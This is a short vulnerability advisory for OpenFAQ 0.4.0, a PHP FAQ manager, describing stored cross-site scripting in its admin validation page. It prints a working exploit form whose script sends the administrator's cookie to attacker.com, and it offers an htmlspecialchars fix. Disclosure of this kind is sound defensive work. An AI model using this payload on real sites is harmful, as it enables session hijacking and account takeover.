Description:  
OpenFAQ is a PHP application that lets Webmasters   
administrate a Frequently Asked Questions section on their Web site.   
It has an admin section for easily adding questions and answers and   
editing the general configuration.  
  
Problem:  
A remote user can send via form a specially crafted data.  
When admin try to validate questions in administration panel,   
specially crafted data will be executed.  
  
Example exploit:  
<form action=http://host/openfaq-0.4.0/submit.php?ask=go method=post>  
<input type=text name=q  
value="<SCRIPT>document.location='http://attacker.com/get.cgi?  
value='+escape(document.cookie)</SCRIPT>">  
<input type=hidden name=email>  
<input type=submit value=Submit>  
</form>  
  
Example fix:  
file validate.php  
35 while ($row = mysql_fetch_array($get_new)) {  
36 echo "<b>".htmlspecialchars($row[question])."</b> (<a  
href=delete.php?type=n&id=$row[id]>$lang[delete]</a>, <a  
href=edit.php?type=n&id=$row[id]>$lang[editpublish]</a>)<br />";  
37 }  
38 }
